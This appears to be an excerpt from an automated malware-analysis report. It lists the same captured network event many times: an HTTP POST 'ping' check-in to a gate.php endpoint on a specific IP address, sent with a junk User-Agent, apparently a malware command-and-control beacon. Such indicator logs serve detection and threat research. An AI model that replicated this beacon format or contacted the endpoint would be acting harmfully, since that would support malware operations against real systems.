Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
